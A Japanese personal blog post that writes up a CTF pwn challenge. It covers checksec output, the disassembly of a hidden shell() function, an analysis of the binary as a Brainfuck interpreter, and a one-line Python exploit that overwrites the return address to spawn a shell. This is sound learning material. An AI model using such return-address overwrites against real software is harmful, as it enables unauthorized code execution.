mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwnlist baby pwn200

下調べ

mattun-mart@4ctf:~/pwn/baby/pwn200$ file bf | sed -e "s/,/\n/g"
bf: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=8438f7625e966b84aced94359daa8d3d15cdbb5a
 not stripped
mattun-mart@4ctf:~/pwn/baby/pwn200$ checksec.sh --file bf
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   bf

SSPなど無効,NX有効.
NXが有効なのでBSS領域等にシェルコードをのせて実行って感じではなさそう.

解析

実行ファイルを起動すると入力を促されるのでてきとーに入力してみた.
すると,メモリ内のアドレスのようなものを出力する.

>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
0x0000000c

0xf754347f

0x0804835e

0xf76fa863

0xf76fab53

0x000008e1

0x0000000c

0x00000009

0x00000009

0x00000009

0x00000009

0xf771dafb

0xf771d567

0xf7700482

0xf771d00b

0xf7710e91

0xf7542c3f

0xf7539edf

0xf63d4e39

0x07b1ea7c

0xff94112b

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

また,objdumpを使って逆アセンブルしてみた結果の中にShellを起動する関数があった.

08048a6e <shell>:
 8048a6e:       55                      push   ebp
 8048a6f:       89 e5                   mov    ebp,esp
 8048a71:       83 ec 18                sub    esp,0x18
 8048a74:       c7 04 24 98 8c 04 08    mov    DWORD PTR [esp],0x8048c98
 8048a7b:       e8 50 fa ff ff          call   80484d0 <system@plt>
 8048a80:       c9                      leave
 8048a81:       c3                      ret

gdbで動きを追っていくと,特定の入力文字によってメモリの操作をしていることが分かった.
どうやら,branfuckというプログラムらしい.
次の表がその文字と動作内容.

文字 動作内容
> ポインタを4byteインクリメント(ポインタの初期値は0xffffd020)
< ポインタを4byteデクリメント
+ ポインタの内容をインクリメント
- ポインタの内容をデクリメント
. ポインタの内容を出力
, 入力から一文字読み込み
[ ポインタの内容が0になるまで[以降の処理を繰り返す
] [の終わりを示す

ということで,ポインタを操作してshell関数を起動してやればよい.

Exploit

メモリを操作してリターンアドレスをshell関数のアドレスに書き換えれば,関数実行後にシェルが起動できる.
ポインタの初期値は0xffffd020で,リターンアドレスは0xffffd0e8(ebp+0x4).また,shell関数のアドレスは0x8048a6eでリターンアドレスの値は0x8048a9d.
ポインタの初期値とリターンアドレスの差は204byte,shell関数とリターンアドレスの差は47なので,51回アドレスをデクリメントして,47回ポインタの内容をデクリメントしてあげればshell関数が実行できる.
てことで,Exploitコード

python -c 'print "<" * 51 + "-" * 47' | ./bf

結果

mattun-mart@4ctf:~/pwn/baby/pwn200$ python -c 'print "<" * 51 + "-" * 47' | ./bf>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: 
THANKS FOR SUPPORTING US WITH YOUR BRAIN!
mattun-mart@4ctf:~/pwn/baby/pwn200$ ls
bf  dump  peda-session-bf.txt
mattun-mart@4ctf:~/pwn/baby/pwn200$ 

どちらかというとrevっぽい.